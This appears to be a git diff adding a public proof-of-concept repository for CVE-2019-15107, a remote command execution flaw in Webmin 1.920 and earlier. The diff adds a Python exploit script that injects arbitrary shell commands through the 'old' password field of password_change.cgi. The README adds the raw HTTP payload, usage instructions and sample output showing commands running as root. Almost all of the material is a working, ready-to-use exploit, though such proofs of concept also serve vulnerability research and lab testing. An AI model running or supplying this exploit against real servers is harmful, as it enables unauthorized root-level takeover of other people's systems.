diff --git a/CVE-2019-15107/CVE-2019-15107.gif b/CVE-2019-15107/CVE-2019-15107.gif new file mode 100644 index 0000000..fdab684 Binary files /dev/null and b/CVE-2019-15107/CVE-2019-15107.gif differ diff --git a/CVE-2019-15107/CVE-2019-15107.jpg b/CVE-2019-15107/CVE-2019-15107.jpg new file mode 100644 index 0000000..254a208 Binary files /dev/null and b/CVE-2019-15107/CVE-2019-15107.jpg differ diff --git a/CVE-2019-15107/CVE_2019_15107.py b/CVE-2019-15107/CVE_2019_15107.py new file mode 100644 index 0000000..718d930 --- /dev/null +++ b/CVE-2019-15107/CVE_2019_15107.py @@ -0,0 +1,53 @@ +import requests +import re +import requests.packages.urllib3 +requests.packages.urllib3.disable_warnings() +import sys + + +banner =''' + _______ _______ _______ _______ __ _____ __ _______ __ _______ ______ +( ____ \|\ /|( ____ \ / ___ )( __ )/ \ / ___ \ / \ ( ____ \/ \ ( __ )/ ___ \ +| ( \/| ) ( || ( \/ \/ ) || ( ) |\/) ) ( ( ) ) \/) ) | ( \/\/) ) | ( ) |\/ ) ) +| | | | | || (__ / )| | / | | | ( (___) | | | | (____ | | | | / | / / +| | ( ( ) )| __) _/ / | (/ /) | | | \____ | | | (_____ \ | | | (/ /) | / / +| | \ \_/ / | ( / _/ | / | | | | ) | | | ) ) | | | / | | / / +| (____/\ \ / | (____/\ ( (__/\| (__) |__) (_/\____) ) __) (_/\____) )__) (_| (__) | / / +(_______/ \_/ (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/ + (_____) (_____) + python By jas502n + +''' +print banner + +def CVE_2019_15107(url, cmd): + vuln_url = url + "/password_change.cgi" + headers = { + 'Accept-Encoding': "gzip, deflate", + 'Accept': "*/*", + 'Accept-Language': "en", + 'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", + 'Connection': "close", + 'Cookie': "redirect=1; testing=1; sid=x; sessiontest=1", + 'Referer': "%s/session_login.cgi"%url, + 'Content-Type': "application/x-www-form-urlencoded", + 'Content-Length': "60", + 'cache-control': "no-cache" + } + payload="user=rootxx&pam=&expired=2&old=test|%s&new1=test2&new2=test2" % cmd + r = requests.post(url=vuln_url, headers=headers, data=payload, verify=False) + if r.status_code ==200 and "The current password is " in r.content : + print "\nvuln_url= %s" % vuln_url + m = re.compile(r"

Failed to change password : The current password is incorrect(.*)

", re.DOTALL) + cmd_result = m.findall(r.content)[0] + print + print "Command Result = %s" % cmd_result + else: + print "No Vuln Exit!" + + +if __name__ == "__main__": + # url = "https://10.10.20.166:10000" + url = sys.argv[1] + cmd = sys.argv[2] + CVE_2019_15107(url, cmd) \ No newline at end of file diff --git a/CVE-2019-15107/README.md b/CVE-2019-15107/README.md new file mode 100644 index 0000000..83a3a70 --- /dev/null +++ b/CVE-2019-15107/README.md @@ -0,0 +1,64 @@ +# CVE-2019-15107 Webmin RCE <=1.920 + +``` +1. Webmin <=1.920 +2. need enable reset Password function +``` +`https://10.10.20.166:10000/password_change.cgi` + +![](./CVE-2019-15107.gif) + + + +### poc +``` +POST /password_change.cgi HTTP/1.1 +Host: 10.10.20.166:10000 +Accept-Encoding: gzip, deflate +Accept: */* +Accept-Language: en +User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) +Connection: close +Cookie: redirect=1; testing=1; sid=x; sessiontest=1 +Referer: https://10.10.20.166:10000/session_login.cgi +Content-Type: application/x-www-form-urlencoded +Content-Length: 60 + +user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2 + + + +
+
+

Failed to change password : The current password is incorrectuid=0(root) gid=0(root) groups=0(root) +

+``` +### python usage: +`python CVE_2019_15107.py https://10.10.20.166:10000 cmd` + + +![](./CVE-2019-15107.jpg) +``` +C:\Users\CTF\Desktop>python CVE_2019_15107.py https://10.10.20.166:10000 id + + _______ _______ _______ _______ __ _____ __ _______ __ _______ ______ +( ____ \|\ /|( ____ \ / ___ )( __ )/ \ / ___ \ / \ ( ____ \/ \ ( __ )/ ___ \ +| ( \/| ) ( || ( \/ \/ ) || ( ) |\/) ) ( ( ) ) \/) ) | ( \/\/) ) | ( ) |\/ ) ) +| | | | | || (__ / )| | / | | | ( (___) | | | | (____ | | | | / | / / +| | ( ( ) )| __) _/ / | (/ /) | | | \____ | | | (_____ \ | | | (/ /) | / / +| | \ \_/ / | ( / _/ | / | | | | ) | | | ) ) | | | / | | / / +| (____/\ \ / | (____/\ ( (__/\| (__) |__) (_/\____) ) __) (_/\____) )__) (_| (__) | / / +(_______/ \_/ (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/ + (_____) (_____) + python By jas502n + + + +vuln_url= https://10.10.20.166:10000/password_change.cgi + +Command Result = uid=0(root) gid=0(root) groups=0(root) +``` + +### 参考链接: + +https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107